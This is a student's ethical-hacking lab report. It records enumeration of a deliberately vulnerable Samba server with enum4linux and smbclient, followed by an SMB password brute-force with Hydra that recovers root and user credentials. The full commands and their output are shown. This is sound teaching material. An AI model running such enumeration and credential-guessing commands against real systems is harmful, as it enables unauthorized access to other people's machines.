

Michael Simmons

3/4/22

msimmo94

Lab 6 – Enumeration SMB - NetLab 08

## Introduction

NetBIOS is a commonly attacked program on Windows machines, however, Linux servers with a SAMBA installed also use NetBIOS. This lab addresses the vulnerabilities of NetBIOS and how to exploit them.

## Objective

In this lab, you will be conducting ethical hacking practices using various tools. You will be performing the following tasks:

1. Enumerating the Samba SMB Server with enum4linux
2. Cracking Samba Users with xHydra

#8

The screenshot displays the NetLab 08 interface. At the top, the Kennesaw State University logo is visible on the left, and navigation links for Home, Reservation, and user profile (msimmo94) are on the right. Below the header, the lab title "MyNETLAB > EH POD 1 > Reservation 13237 > Lab 08: Enumerating SMB with enum4linux" is shown. A toolbar contains icons for Topology, Content, Status, OpenSUSE, Security Onion, OWASP BWA, pSense, and Kali. A "Time Remaining" box on the right shows 0 hours and 30 minutes. The main area features a terminal window titled "Applications Places Terminal" with the following output:

```
=====
Share Enumeration on 192.168.68.12
=====
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.7]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.7]

Sharename      Type      Comment
-----
print$         Disk     Printer Drivers
apache         Disk     Apache Web Server Root
tomcat         Disk     Tomcat6 Root
var            Disk     /var
etc            Disk     /etc
usr            Disk     /usr
owaspbwa       Disk     /owaspbwa
IPC$           IPC      IPC Service (owaspbwa server (Samba, Ubuntu))

Server          Comment
-----
OWASPBWA        owaspbwa server (Samba, Ubuntu)

Workgroup       Master
-----
WORKGROUP       OWASPBWA

[+] Attempting to map shares on 192.168.68.12
//192.168.68.12/print$ Mapping: DENIED, Listing: N/A
//192.168.68.12/apache Mapping: DENIED, Listing: N/A
//192.168.68.12/tomcat Mapping: DENIED, Listing: N/A
//192.168.68.12/var Mapping: DENIED, Listing: N/A
//192.168.68.12/etc Mapping: DENIED, Listing: N/A
//192.168.68.12/usr Mapping: DENIED, Listing: N/A
//192.168.68.12/owaspbwa Mapping: DENIED, Listing: N/A
//192.168.68.12/IPC$ [E] Can't understand response:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.7]
NT STATUS NETWORK_ACCESS_DENIED listing \*
enum4linux complete on Fri Mar 4 10:30:21 2022
```

At the bottom left of the terminal window, a URL is visible: [https://ccsenetlab2.kennesaw.edu/lab.cgi#pc\\_60](https://ccsenetlab2.kennesaw.edu/lab.cgi#pc_60).

#9

```

root@kali2: ~
File Edit View Search Terminal Help
root@kali2:~# smbclient -I 192.168.68.12 -L IPC$ -N -U ""
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.7]

Sharename      Type            Comment
-----
print$         Disk           Printer Drivers
apache         Disk           Apache Web Server Root
tomcat         Disk           Tomcat6 Root
var            Disk           /var
etc            Disk           /etc
usr            Disk           /usr
owaspbwa       Disk           /owaspbwa
IPC$           IPC            IPC Service (owaspbwa server (Samba, Ubuntu))
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.7]

Server         Comment
-----
OWASPBWA       owaspbwa server (Samba, Ubuntu)

Workgroup      Master
-----
WORKGROUP     OWASPBWA
root@kali2:~#

```

#12

MyNETLAB &gt; EH POD 1 &gt; Reservation 13237 &gt; Lab 08: Enumerating SMB with enum4linux

[Topology](#)[Content](#)[Status](#)[OpenSUSE](#)[Security Onion](#)[OWASP BWA](#)[pfSense](#)[Kali](#)

Time Remaining

0 07

hrs. min.

Applications Places Xhydra Fri 10:55 1

Quit

Target Passwords Tuning Specific Start

Output

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2022-03-04 10:55:20

[DATA] max 1 task per 1 server, overall 64 tasks, 10278 login tries (l:3/p:3426), ~160 tries per task

[DATA] attacking service smb on port 445

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[445][smb] host: 192.168.68.12 login: root password: owaspbwa

[445][smb] host: 192.168.68.12 login: user password: owaspbwa

<finished>

Start Stop Save Output Clear Output

hydra -L /root/userlist -P /root/wordlist -t 16 -m Both 192.168.68.12 smb